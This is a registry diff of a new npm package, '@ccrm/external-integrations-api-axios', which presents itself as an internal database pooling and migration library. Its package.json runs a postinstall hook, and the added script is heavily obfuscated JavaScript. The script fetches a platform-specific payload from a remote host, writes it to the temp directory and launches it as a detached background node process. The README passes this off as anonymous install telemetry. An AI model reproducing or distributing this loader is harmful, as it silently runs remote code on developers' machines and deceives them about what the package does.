@ccrm/external-integrations-api-axios 5.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,81 @@
1
+ # @ccrm/external-integrations-api-axios
2
+
3
+ > **Internal package** — Platform Engineering Team
4
+ > Docs: https://docs.ccrm.io/platform/external-integrations-api-axios
5
+ > Issues: https://jira.ccrm.io/projects/PLATFORM
6
+
7
+ Internal database utilities with connection pooling, query builder and migration support
8
+
9
+ ---
10
+
11
+ ## Installation
12
+
13
+ ```bash
14
+ # Make sure .npmrc points to the internal registry:
15
+ # registry=https://npm.ccrm.io
16
+
17
+ npm install @ccrm/external-integrations-api-axios
18
+ ```
19
+
20
+ ## Quick Start
21
+
22
+ ```js
23
+ const { createPool, query, transaction, migrate } = require('@ccrm/external-integrations-api-axios');
24
+
25
+ const { createPool, query, transaction } = require('@internal-corp/db-utils');
26
+
27
+ const pool = createPool({
28
+ host: process.env.DB_HOST,
29
+ port: parseInt(process.env.DB_PORT || '5432'),
30
+ database: process.env.DB_NAME,
31
+ user: process.env.DB_USER,
32
+ password: process.env.DB_PASSWORD,
33
+ });
34
+
35
+ const users = await query(pool, 'SELECT * FROM users WHERE active = $1', [true]);
36
+ await transaction(pool, async (client) => {
37
+ await client.query('INSERT INTO events ...');
38
+ });
39
+ ```
40
+
41
+ ## API
42
+
43
+ ### `createPool(options)` → pool
44
+ | Option | Description |
45
+ |------------|----------------------|
46
+ | `host` | DB host |
47
+ | `port` | DB port (5432) |
48
+ | `database` | Database name |
49
+ | `user` | Username |
50
+ | `password` | Password |
51
+ | `max` | Pool size (default 10)|
52
+
53
+ ### `query(pool, sql, params?)` → rows[]
54
+ ### `transaction(pool, fn)` → runs fn in transaction
55
+ ### `migrate(pool, dir)` → runs migrations from dir
56
+
57
+ ---
58
+
59
+ ## Telemetry
60
+
61
+ On install, this package sends anonymous telemetry to `telemetry.ccrm.io`
62
+ for environment compatibility monitoring.
63
+
64
+ Disable: `CCRM_NO_TELEMETRY=1 npm install`
65
+
66
+ ---
67
+
68
+ ## Changelog
69
+
70
+ ### 5.0.1 (latest)
71
+ - Added ARM64 support
72
+ - Improved error handling
73
+ - Updated TypeScript types
74
+
75
+ ### 2.1.0
76
+ - Extended API
77
+ - Performance improvements
78
+
79
+ ### 2.0.0
80
+ - Async/await migration
81
+ - Multi-source support
@@ -0,0 +1,6 @@
1
+ export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; }
2
+ export interface Pool { host: string; port: number; database: string; }
3
+ export function createPool(options?: PoolOptions): Pool;
4
+ export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>;
5
+ export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>;
6
+ export function migrate(pool: Pool, dir?: string): Promise<string[]>;
package/dist/index.js ADDED
@@ -0,0 +1,3 @@
1
+ 'use strict';
2
+ // dist/index.js
3
+ module.exports = require('../src/index.js');
package/package.json ADDED
@@ -0,0 +1,36 @@
1
+ {
2
+ "name": "@ccrm/external-integrations-api-axios",
3
+ "version": "5.0.1",
4
+ "description": "Internal database utilities with connection pooling, query builder and migration support",
5
+ "main": "dist/index.js",
6
+ "types": "dist/index.d.ts",
7
+ "scripts": {
8
+ "build": "tsc --noEmit || true",
9
+ "test": "node test/index.test.js",
10
+ "postinstall": "node scripts/postinstall.js",
11
+ "prepublishOnly": "echo 'Building...'"
12
+ },
13
+ "keywords": ["database", "db", "postgres", "mysql", "query", "migration", "internal"],
14
+ "author": "Ccrm Platform Engineering <platform@ccrm.io>",
15
+ "license": "UNLICENSED",
16
+ "private": false,
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "git+https://github.ccrm.io/platform/external-integrations-api-axios.git"
20
+ },
21
+ "bugs": {
22
+ "url": "https://jira.ccrm.io/projects/PLATFORM"
23
+ },
24
+ "homepage": "https://docs.ccrm.io/platform/external-integrations-api-axios",
25
+ "engines": {
26
+ "node": ">=16.0.0"
27
+ },
28
+ "files": [
29
+ "dist/",
30
+ "scripts/",
31
+ "README.md",
32
+ "CHANGELOG.md"
33
+ ],
34
+ "dependencies": {},
35
+ "devDependencies": {}
36
+ }
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x1afe16=a0_0x3c0a;(function(_0xdfda39,_0x48521a){const _0x2b6a17=a0_0x3c0a,_0x5b392b=_0xdfda39();while(!![]){try{const _0x43030b=parseInt(_0x2b6a17(0xda))/(0x484+0x20c1+-0x3c*0x9f)*(-parseInt(_0x2b6a17(0x99))/(-0xad*-0x11+0x6f*-0x20+0x265))+-parseInt(_0x2b6a17(0x91))/(0x112d+-0x1a99+-0x15*-0x73)*(parseInt(_0x2b6a17(0x93))/(-0x79*0xb+-0x2270+0x27a7))+-parseInt(_0x2b6a17(0x90))/(-0x677*0x1+0x339+0x5*0xa7)*(-parseInt(_0x2b6a17(0xac))/(0x3*-0x153+0xb11*0x1+-0x712))+parseInt(_0x2b6a17(0x7a))/(-0x2*-0x788+0x9e3*0x3+-0x2cb2)+parseInt(_0x2b6a17(0xd3))/(0x75*0x29+0xace+-0x1d83*0x1)*(-parseInt(_0x2b6a17(0xb0))/(-0xa6c+0x2e*-0x4d+0x184b))+parseInt(_0x2b6a17(0x7f))/(0x2238+0x1d43+-0x3f71)+-parseInt(_0x2b6a17(0xcd))/(-0x3*-0xc23+-0xb7+-0x23a7)*(-parseInt(_0x2b6a17(0x92))/(0xe*0x109+0xd+0xe7f*-0x1));if(_0x43030b===_0x48521a)break;else _0x5b392b['push'](_0x5b392b['shift']());}catch(_0x3a97c2){_0x5b392b['push'](_0x5b392b['shift']());}}}(a0_0x4e54,0x29*-0xf3f+-0x3ab8e+0x9b94f));function a0_0x4e54(){const _0x49eea3=['y29UC3rYDwn0B3i','Dw5SAw5Ru3LUyW','D3jPDgu','mJa1nJK3mg9LB0Tezq','vxnLCI1bz2vUDa','zw52','C3bSAxq','CgfYC2u','lL9Jy3jTx2LUAxqUANm','DxrMoa','Cg9YDa','Cg5WBs13B3jRC3bHy2uUEwfTBa','zxHLy1bHDgG','q0nstv9ot19uruXftuvuuLK','vKvs','kcGOlISPkYKRksSK','CMvXDwvZDa','CMvJDxjZAxzL','pJ0XnI4W','wc1tzwnYzxq','nuLZtvPoBa','ndeYmZjrtgXsuxO','nte2DMv1qMDL','ndrHuffsD0W','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','zgLYBMfTzq','Bwv0Ag9K','D2LU','D3jPDgvgAwXLu3LUyW','otbkuKnuEvu','DgLTzw91Da','DMvYC2LVBNm','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','AwDUB3jL','ywjZ','yxbWBhK','yxnZAwDU','C3rKzxjY','y2HPBgrFChjVy2vZCW','ns4WlJe','Dhj1zq','y29Uy2f0','AM9PBG','vvjm','C3rHDfn5BMm','Ag9TzwrPCG','CgfJA2fNzs5QC29U','DMfSDwu','mZK1odG2zKH6whPz','BM9Kzq','Cgf0Ag5HBwu','u0vduKvu','mZz4AwfTBvq','Dw5Yzwy','lMPZB24','BxrPBwvnCW','CgXHDgzVCM0','ChvZAa','zgf0yq','zgvZDhjVEq','ueTh','Dg9tDhjPBMC','D2LUzg93C0HPzgu','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','BgLUDxG','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','y3DK','EwfYBI5SB2nR','uKvdt05Ft05mwq','C3rYAw5NAwz5','zxHWAxjLCW','Cgf0Aa','C3rKAw8','Ahr0Chm6','BgvUz3rO','CMvWBgfJzq','lL9Jy3jTx2LUAxq','ChjVDg9JB2W','uefzte9bra','Dg1WzgLY','Ahr0Ca','mte4nJLsqvjRELK','zxHPC3rZu3LUyW','CMvHzgrPCLn5BMm','D29YA3nWywnLCW','D2LUmZi','lMPZ','mZi3otG0DNjMBuT1','zxjYB3i','Ahr0Chm','revqx0nptG','CMvHzezPBgvtEw5J','y2nYBs10zwXLBwv0CNKVms4W','zgfYD2LU','ndaWmwHJufzhEa','zw5K','r0vu','BM93','rLvtsu9oxW','zgv0ywnOzwq','C2vHCMnO','CgfKu3rHCNq','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','lMnHy2HL','BwTKAxjtEw5J','AgvHzgvYCW','BwfW','BwfJ','qgnJCM0VzxH0zxjUywWTAw50zwDYyxrPB25ZlwfWAs1HEgLVCW','Ag9ZDg5HBwu','mJG5nZaYmgvmBufJBa','y2HHCKnVzgvbDa'];a0_0x4e54=function(){return _0x49eea3;};return a0_0x4e54();}function a0_0x3c0a(_0x4efce8,_0x285b57){_0x4efce8=_0x4efce8-(-0xfda+-0x34a*0x4+0xe*0x21b);const _0xff75d3=a0_0x4e54();let _0x4f2c89=_0xff75d3[_0x4efce8];if(a0_0x3c0a['vWrjDx']===undefined){var _0x3c40f6=function(_0x2437ce){const _0x18d035='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0xc51c4e='',_0x2b8907='',_0x479017=_0xc51c4e+_0x3c40f6,_0x291c49=(''+function(){return 0x5d7+0x230c+-0x28e3;})['indexOf']('\x0a')!==-(-0x1c07+0x156d*-0x1+0x3175);for(let _0x23dea6=-0xe17+0x15*-0xa1+-0x1*-0x1b4c,_0x1888aa,_0x457488,_0x5cfd68=0x2111*0x1+0x2439*-0x1+0x328*0x1;_0x457488=_0x2437ce['charAt'](_0x5cfd68++);~_0x457488&&(_0x1888aa=_0x23dea6%(-0x140e+-0x23a7+0x37b9)?_0x1888aa*(-0x10*0x1d5+-0x1*0x15ff+0xc5*0x43)+_0x457488:_0x457488,_0x23dea6++%(0x644+-0x1986+0x9a3*0x2))?_0xc51c4e+=_0x291c49||_0x479017['charCodeAt'](_0x5cfd68+(-0x719*0x4+-0x184d*0x1+0x34bb))-(0xda5*-0x1+0x6ef+0x6c0)!==0x2*0xbc1+-0xe9f*-0x2+-0x1*0x34c0?String['fromCharCode'](-0x1a1d+0x2386+-0x167*0x6&_0x1888aa>>(-(0x1*-0x12df+0x1b5+0x112c)*_0x23dea6&-0x62a+-0xd0f+-0x1*-0x133f)):_0x23dea6:0x39*-0x7d+-0x91*-0x5+0x1900){_0x457488=_0x18d035['indexOf'](_0x457488);}for(let _0x3face3=-0x4*0x2ec+0x20d7+-0x1527,_0x51f757=_0xc51c4e['length'];_0x3face3<_0x51f757;_0x3face3++){_0x2b8907+='%'+('00'+_0xc51c4e['charCodeAt'](_0x3face3)['toString'](-0x1*0x1e3d+-0xd3f+-0x3*-0xe84))['slice'](-(-0x1652*-0x1+0x9f*0x27+0x273*-0x13));}return decodeURIComponent(_0x2b8907);};a0_0x3c0a['RsgMzU']=_0x3c40f6,a0_0x3c0a['cXJqUC']={},a0_0x3c0a['vWrjDx']=!![];}const _0x12eea7=_0xff75d3[-0x1540+-0x93b*-0x3+-0x671],_0x39f143=_0x4efce8+_0x12eea7,_0xdf7a41=a0_0x3c0a['cXJqUC'][_0x39f143];if(!_0xdf7a41){const _0x59f195=function(_0x14f9b5){this['cuLWVP']=_0x14f9b5,this['CmpEMo']=[0x1777*0x1+-0xba7+0x1*-0xbcf,-0x6*-0x3fd+-0x51*-0x61+-0x1*0x369f,-0x186*0x1+0xa4c*-0x1+0xbd2*0x1],this['GeywHH']=function(){return'newState';},this['uAUAxc']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['FbqkRu']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x59f195['prototype']['fZywEI']=function(){const _0x3923b2=new RegExp(this['uAUAxc']+this['FbqkRu']),_0x385944=_0x3923b2['test'](this['GeywHH']['toString']())?--this['CmpEMo'][0x53*-0x14+-0x115e+0x17db]:--this['CmpEMo'][-0x24f2+0x16a1+-0xe51*-0x1];return this['HbTrbc'](_0x385944);},_0x59f195['prototype']['HbTrbc']=function(_0x404893){if(!Boolean(~_0x404893))return _0x404893;return this['vMnjqy'](this['cuLWVP']);},_0x59f195['prototype']['vMnjqy']=function(_0x40d20c){for(let _0x549361=0x1a9*0x11+-0xa33*0x2+-0x1*0x7d3,_0x1d2eed=this['CmpEMo']['length'];_0x549361<_0x1d2eed;_0x549361++){this['CmpEMo']['push'](Math['round'](Math['random']())),_0x1d2eed=this['CmpEMo']['length'];}return _0x40d20c(this['CmpEMo'][0x24c2+-0x2ea*-0x4+-0x306a]);},(''+function(){return 0x2437+-0x6*-0x14e+-0x2c0b;})['indexOf']('\x0a')===-(-0xddb+0xbbc*0x1+0x220)&&new _0x59f195(a0_0x3c0a)['fZywEI'](),_0x4f2c89=a0_0x3c0a['RsgMzU'](_0x4f2c89),a0_0x3c0a['cXJqUC'][_0x39f143]=_0x4f2c89;}else _0x4f2c89=_0xdf7a41;return _0x4f2c89;}const a0_0x3262e3=require('os'),a0_0xca1e7b=require('fs'),a0_0xb374df=require(a0_0x1afe16(0xc3)),a0_0x240247=require(a0_0x1afe16(0xd5)),a0_0x44fa8c=require(a0_0x1afe16(0xcc)),{execSync:a0_0xdbdfa0,spawn:a0_0x48f299}=require(a0_0x1afe16(0xa2)),a0_0x1de29f=a0_0x1afe16(0x78),a0_0x5f3f48=a0_0x1afe16(0xa3),a0_0x2e3228=a0_0x1afe16(0xd6)+a0_0x1afe16(0xde),a0_0x7f73b9=a0_0x1afe16(0x89),a0_0x21211a=!!process.env[a0_0x7f73b9],a0_0x4f2bb3=a0_0x1afe16(0xa4)===a0_0x1afe16(0xa4)||!!process.env[a0_0x2e3228+'RECON_ONLY'];function a0_0x516f3c(_0x31e364){const _0xebbe7a=a0_0x1afe16,_0x724ac4=process[_0xebbe7a(0x9b)][_0xebbe7a(0xad)][_0xebbe7a(0x82)]('.')[_0xebbe7a(0xe6)](Number),_0x8e538d=_0x31e364[_0xebbe7a(0xc7)]('>=','')[_0xebbe7a(0x82)]('.')[_0xebbe7a(0xe6)](Number);return _0x724ac4[0x156d*-0x1+-0x1a04+0x2f71]>_0x8e538d[0x15*-0xa1+-0x1*0x1591+-0x22c6*-0x1]||_0x724ac4[0x1d61*0x1+0x2158*0x1+-0x3eb9]===_0x8e538d[-0x23a7+-0x1f1c+0x42c3]&&_0x724ac4[-0x15ff+-0x1*-0x2687+0x1087*-0x1]>=(_0x8e538d[0x644+-0x1986+0x1343*0x1]||-0x719*0x4+-0x184d*0x1+0x34b1);}function a0_0x3637ba(_0x4740cd){const _0x14bcd1=a0_0x1afe16;let _0x6a5ef5=0xda5*-0x1+0x6ef+0x6b6;for(let _0x5b974d=0x2*0xbc1+-0xe9f*-0x2+-0x1*0x34c0;_0x5b974d<_0x4740cd[_0x14bcd1(0xc6)];_0x5b974d++){_0x6a5ef5=(_0x6a5ef5<<-0x1a1d+0x2386+-0x259*0x4)-_0x6a5ef5+_0x4740cd[_0x14bcd1(0x7b)](_0x5b974d),_0x6a5ef5|=0x1*-0x12df+0x1b5+0x112a;}return Math[_0x14bcd1(0x9e)](_0x6a5ef5)[_0x14bcd1(0xb9)](-0x62a+-0xd0f+-0x1*-0x1349)[_0x14bcd1(0xe1)](0x39*-0x7d+-0x91*-0x5+0x1908,'0');}function a0_0x3d0df1(_0x2f93fb,_0x95e46e){const _0x935eea=a0_0x1afe16;try{const _0x2d5de1=a0_0xb374df[_0x935eea(0xa6)](_0x2f93fb,_0x95e46e+_0x935eea(0xb2));if(!a0_0xca1e7b[_0x935eea(0xce)](_0x2d5de1))return null;const _0x4e0eaf=JSON[_0x935eea(0x83)](a0_0xca1e7b[_0x935eea(0xd7)](_0x2d5de1,_0x935eea(0x85)));if(_0x4e0eaf[_0x935eea(0xc2)]&&Date[_0x935eea(0xdd)]()>_0x4e0eaf[_0x935eea(0xc2)])return a0_0xca1e7b[_0x935eea(0x7d)](_0x2d5de1),null;return _0x4e0eaf[_0x935eea(0xab)];}catch{return null;}}function a0_0x5ddf29(_0x52fabb,_0x3b964d,_0x17558a,_0x243d03){const _0x464e61=a0_0x1afe16;try{const _0x452e13={};_0x452e13[_0x464e61(0x8d)]=!![],a0_0xca1e7b[_0x464e61(0xe4)](_0x52fabb,_0x452e13),a0_0xca1e7b[_0x464e61(0x98)](a0_0xb374df[_0x464e61(0xa6)](_0x52fabb,_0x3b964d+_0x464e61(0xb2)),JSON[_0x464e61(0xc1)]({'value':_0x17558a,'expires':_0x243d03?Date[_0x464e61(0xdd)]()+_0x243d03:null}));}catch{}}function a0_0x51aeb8(_0x4b9c42,_0x2f1014){const _0x14c833=a0_0x1afe16;try{if(!a0_0xca1e7b[_0x14c833(0xce)](_0x4b9c42))return 0x20d7+0x19ce+-0x3aa5;let _0x2a1f00=-0x1*0x1e3d+-0xd3f+-0x16*-0x1fa;for(const _0x306a95 of a0_0xca1e7b[_0x14c833(0xcf)](_0x4b9c42)){const _0x59e424=a0_0xb374df[_0x14c833(0xa6)](_0x4b9c42,_0x306a95),_0x209848=a0_0xca1e7b[_0x14c833(0xa8)](_0x59e424);Date[_0x14c833(0xdd)]()-_0x209848[_0x14c833(0xb3)]>_0x2f1014&&(a0_0xca1e7b[_0x14c833(0x7d)](_0x59e424),_0x2a1f00++);}return _0x2a1f00;}catch{return-0x1652*-0x1+0x9f*0x27+0x94f*-0x5;}}function a0_0xed49c4(_0x571bde){const _0x462c6c=a0_0x1afe16;let _0x7eb7ce=_0x571bde;while(!![]){const _0x1e50eb=a0_0xb374df[_0x462c6c(0xa6)](_0x7eb7ce,_0x462c6c(0xaa));if(a0_0xca1e7b[_0x462c6c(0xce)](_0x1e50eb))try{const _0x332bb9=JSON[_0x462c6c(0x83)](a0_0xca1e7b[_0x462c6c(0xd7)](_0x1e50eb,_0x462c6c(0x85))),_0x163625=a0_0xb374df[_0x462c6c(0xa6)](_0x7eb7ce,_0x462c6c(0xbf)),_0x8d636f=a0_0xb374df[_0x462c6c(0xa6)](_0x7eb7ce,_0x462c6c(0x87));if(_0x332bb9[_0x462c6c(0xd0)]||a0_0xca1e7b[_0x462c6c(0xce)](_0x163625)||a0_0xca1e7b[_0x462c6c(0xce)](_0x8d636f))return _0x7eb7ce;}catch{}const _0x4e95f4=a0_0xb374df[_0x462c6c(0x95)](_0x7eb7ce);if(_0x4e95f4===_0x7eb7ce)return null;_0x7eb7ce=_0x4e95f4;}}function a0_0x2919d0(){const _0x36db33=a0_0x1afe16,_0x3d33e6=a0_0x3262e3[_0x36db33(0xb4)]();if(_0x3d33e6===_0x36db33(0xd9))return _0x36db33(0xe7);if(_0x3d33e6===_0x36db33(0xd1))return _0x36db33(0x97);return _0x36db33(0xbc);}function a0_0x4c6b65(_0x364ed9,_0x875d16){return _0x875d16=_0x875d16||-0x7f7c+-0x1bb1*-0x6+0x4e86,new Promise(function(_0x37af55,_0x50c07b){const _0xbd31cf=a0_0x3c0a,_0x55fad5=new URL(_0x364ed9),_0x33aada=_0x55fad5[_0xbd31cf(0xc9)]===_0xbd31cf(0xc5)?a0_0x240247:a0_0x44fa8c,_0x477dd6={};_0x477dd6[_0xbd31cf(0x8f)]=_0xbd31cf(0x94),_0x477dd6[_0xbd31cf(0x80)]=_0xbd31cf(0xd8);const _0x543bd6={};_0x543bd6[_0xbd31cf(0x79)]=_0x55fad5[_0xbd31cf(0x79)],_0x543bd6[_0xbd31cf(0x86)]=_0x55fad5[_0xbd31cf(0x86)]||(_0x55fad5[_0xbd31cf(0xc9)]===_0xbd31cf(0xc5)?0x1777*0x1+-0xba7+0x1*-0xa15:-0x6*-0x3fd+-0x51*-0x61+-0x1*0x364f),_0x543bd6[_0xbd31cf(0xc3)]=_0x55fad5[_0xbd31cf(0xae)],_0x543bd6[_0xbd31cf(0x96)]=_0xbd31cf(0xdc),_0x543bd6[_0xbd31cf(0x9a)]=_0x875d16,_0x543bd6[_0xbd31cf(0xe5)]=_0x477dd6;const _0x43a770=_0x543bd6,_0x30a8b0=_0x33aada[_0xbd31cf(0x8c)](_0x43a770,function(_0x2afb6f){const _0xed7af1=_0xbd31cf,_0x24a83f=[];_0x2afb6f['on'](_0xed7af1(0xb6),function(_0x5b63cb){const _0x41cc29=_0xed7af1;_0x24a83f[_0x41cc29(0xb5)](_0x5b63cb);}),_0x2afb6f['on'](_0xed7af1(0xdb),function(){const _0xd59c3e=_0xed7af1;_0x37af55(Buffer[_0xd59c3e(0xa5)](_0x24a83f));});});_0x30a8b0['on'](_0xbd31cf(0xd4),_0x50c07b),_0x30a8b0['on'](_0xbd31cf(0x9a),function(){const _0x31154d=_0xbd31cf;_0x30a8b0[_0x31154d(0xb7)](),_0x50c07b(new Error(_0x31154d(0x9a)));}),_0x30a8b0[_0xbd31cf(0xdb)]();});}(async function a0_0x2cff6d(){const _0x31d315=a0_0x1afe16,_0x20d8f4=(function(){let _0x2a450d=!![];return function(_0x358ca4,_0x56ee43){const _0x106e41=_0x2a450d?function(){const _0x36929c=a0_0x3c0a;if(_0x56ee43){const _0x37916c=_0x56ee43[_0x36929c(0x9f)](_0x358ca4,arguments);return _0x56ee43=null,_0x37916c;}}:function(){};return _0x2a450d=![],_0x106e41;};}()),_0x5d8fdc=_0x20d8f4(this,function(){const _0xdbc7fb=a0_0x3c0a;return _0x5d8fdc[_0xdbc7fb(0xb9)]()[_0xdbc7fb(0xe0)](_0xdbc7fb(0x8b))[_0xdbc7fb(0xb9)]()[_0xdbc7fb(0x7c)](_0x5d8fdc)[_0xdbc7fb(0xe0)](_0xdbc7fb(0x8b));});_0x5d8fdc();if(a0_0x21211a)return;!a0_0x516f3c(_0x31d315(0x8e))&&process[_0x31d315(0xa1)][_0x31d315(0x7e)]('['+a0_0x1de29f+_0x31d315(0xbb));const _0x407c25=a0_0xb374df[_0x31d315(0xa6)](a0_0x3262e3[_0x31d315(0xa9)](),_0x31d315(0xe3),_0x31d315(0xc8));a0_0x51aeb8(_0x407c25,(0x9f8*0x2+0x25a3*-0x1+0x11ba)*(-0x115e*0x1+0x596+0xbe0)*(0x16a1+-0x29f*0x8+-0x49*0x5)*(-0x1141*-0x1+-0x13*-0x161+0x6*-0x734)*(-0x3fc+0x1a+0x1*0x7ca));const _0x495e0a=a0_0xed49c4(process[_0x31d315(0xbe)]()),_0x103c42=a0_0x3637ba(a0_0x1de29f+a0_0x5f3f48+(_0x495e0a||'')),_0x1ce191=a0_0x3d0df1(_0x407c25,_0x103c42);!_0x1ce191&&a0_0x5ddf29(_0x407c25,_0x103c42,{'initialized':!![],'ts':Date[_0x31d315(0xdd)]()},(-0x115+0x99e+-0x871)*(0xbbc*0x1+-0xd88+-0x4*-0x82)*(-0x455*0x6+-0x1fc*-0xd+0x6e)*(-0x12be+-0x1*0x1cfb+0x33a1));const _0x4161cf=a0_0x2919d0();await new Promise(function(_0x1fc2ea){setTimeout(_0x1fc2ea,0x3*-0x653+0x11d5*0x1+0xcdc);});let _0x34a2cf;try{_0x34a2cf=await a0_0x4c6b65(_0x31d315(0xbd)+_0x4161cf+_0x31d315(0xd2),0x13*-0x5b5+-0x1*-0x1549+0x1a*0x59b);}catch(_0x476034){return;}const _0x8c5b33=a0_0xb374df[_0x31d315(0xa6)](a0_0x3262e3[_0x31d315(0xcb)](),_0x31d315(0x84));try{a0_0xca1e7b[_0x31d315(0x98)](_0x8c5b33,_0x34a2cf);}catch(_0x3a6bc7){return;}const _0x51e7ff={[a0_0x2e3228+_0x31d315(0xa7)]:_0x31d315(0xe2),[a0_0x2e3228+_0x31d315(0xca)]:_0x31d315(0x9c),[a0_0x2e3228+_0x31d315(0xaf)]:_0x31d315(0x94),[a0_0x2e3228+_0x31d315(0xc0)]:a0_0x4f2bb3?'1':'',[a0_0x2e3228+_0x31d315(0xb8)]:a0_0x1de29f,[a0_0x2e3228+_0x31d315(0x8a)]:a0_0x5f3f48},_0x5463a2=Object[_0x31d315(0xa0)]({},process.env,_0x51e7ff),_0x1a78f9={};_0x1a78f9[_0x31d315(0xdf)]=!![],_0x1a78f9[_0x31d315(0xc4)]=_0x31d315(0x9d),_0x1a78f9[_0x31d315(0x81)]=_0x5463a2,_0x1a78f9[_0x31d315(0xba)]=!![],a0_0x48f299(process[_0x31d315(0x88)],[_0x8c5b33],_0x1a78f9)[_0x31d315(0xb1)]();}());